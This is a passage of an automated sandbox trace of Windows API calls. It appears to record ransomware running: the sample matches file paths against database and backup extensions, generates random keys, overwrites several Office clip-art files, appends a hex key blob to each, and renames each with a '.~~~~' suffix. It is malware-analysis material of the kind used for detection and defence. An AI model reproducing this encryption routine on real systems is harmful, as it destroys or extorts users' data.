	[0113.088] lstrlenW (lpString=".MYD") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".MYD") returned 0x0
	[0113.088] lstrlenW (lpString=".DBT") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DBT") returned 0x0
	[0113.088] lstrlenW (lpString=".ACCDB") returned 6
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".ACCDB") returned 0x0
	[0113.088] lstrlenW (lpString=".fdb") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".fdb") returned 0x0
	[0113.088] lstrlenW (lpString=".bak") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".bak") returned 0x0
	[0113.088] lstrlenW (lpString=".myd") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".myd") returned 0x0
	[0113.088] lstrlenW (lpString=".DTXS") returned 5
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".DTXS") returned 0x0
	[0113.088] lstrlenW (lpString=".ckp") returned 4
	[0113.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".ckp") returned 0x0
	[0113.088] lstrlenW (lpString=".dbt") returned 4
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".dbt") returned 0x0
	[0113.089] lstrlenW (lpString=".db") returned 3
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".db") returned 0x0
	[0113.089] lstrlenW (lpString=".TXT") returned 4
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".TXT") returned 0x0
	[0113.089] lstrlenW (lpString=".MDF") returned 4
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".MDF") returned 0x0
	[0113.089] lstrlenW (lpString=".bdb") returned 4
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".bdb") returned 0x0
	[0113.089] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0113.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0113.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0113.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0113.089] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.090] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.091] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23308077400) returned 1
	[0113.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad012730, dwHighDateTime=0x1d60e1e)) 
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29bda90
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29bda90 | out: hHeap=0x300000) returned 1
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f3d30
	[0113.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834008
	[0113.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f3d30 | out: hHeap=0x300000) returned 1
	[0113.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.092] GetLastError () returned 0x0
	[0113.092] GetLastError () returned 0x0
	[0113.092] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.092] GetLastError () returned 0x0
	[0113.092] GetLastError () returned 0x0
	[0113.096] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.096] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0113.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0113.098] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.098] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.099] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.099] CloseHandle (hObject=0x13c) returned 1
	[0113.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f3d30
	[0113.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.~~~~")) returned 1
	[0113.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f3d30 | out: hHeap=0x300000) returned 1
	[0113.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.101] GetLastError () returned 0x0
	[0113.101] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.102] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.102] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.102] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23309260044) returned 1
	[0113.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad038890, dwHighDateTime=0x1d60e1e)) 
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830b48
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830b48 | out: hHeap=0x300000) returned 1
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f3d30
	[0113.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834690
	[0113.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f3d30 | out: hHeap=0x300000) returned 1
	[0113.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.104] GetLastError () returned 0x0
	[0113.104] GetLastError () returned 0x0
	[0113.104] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.104] GetLastError () returned 0x0
	[0113.104] GetLastError () returned 0x0
	[0113.107] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.107] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0113.109] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.109] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.109] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.109] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.109] CloseHandle (hObject=0x13c) returned 1
	[0113.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f3d30
	[0113.109] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.~~~~")) returned 1
	[0113.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f3d30 | out: hHeap=0x300000) returned 1
	[0113.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.114] GetLastError () returned 0x0
	[0113.114] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.115] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.115] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.116] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23310575042) returned 1
	[0113.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad05e9f0, dwHighDateTime=0x1d60e1e)) 
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830b80
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830b80 | out: hHeap=0x300000) returned 1
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f3d30
	[0113.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834728
	[0113.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f3d30 | out: hHeap=0x300000) returned 1
	[0113.116] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.117] GetLastError () returned 0x0
	[0113.117] GetLastError () returned 0x0
	[0113.117] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.117] GetLastError () returned 0x0
	[0113.117] GetLastError () returned 0x0
	[0113.237] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff6542, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.237] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x9abe, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x9abe, lpOverlapped=0x0) returned 1
	[0113.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0113.239] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.240] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.240] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.240] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.240] CloseHandle (hObject=0x13c) returned 1
	[0113.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.~~~~")) returned 1
	[0113.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.378] GetLastError () returned 0x0
	[0113.379] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.380] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.380] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23336997930) returned 1
	[0113.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad2e6150, dwHighDateTime=0x1d60e1e)) 
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830f00
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830f00 | out: hHeap=0x300000) returned 1
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28351b8
	[0113.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0113.381] GetLastError () returned 0x0
	[0113.381] GetLastError () returned 0x0
	[0113.381] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0113.381] GetLastError () returned 0x0
	[0113.381] GetLastError () returned 0x0
	[0113.417] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff7b67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.417] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x8499, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x8499, lpOverlapped=0x0) returned 1
	[0113.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.418] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.418] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.418] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.418] CloseHandle (hObject=0x13c) returned 1
	[0113.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.~~~~")) returned 1
	[0113.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0113.420] GetLastError () returned 0x0
	[0113.534] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0113.535] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.535] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0113.536] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23352582397) returned 1
	[0113.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xad462f10, dwHighDateTime=0x1d60e1e)) 
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28392c8
	[0113.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28392c8 | out: hHeap=0x300000) returned 1
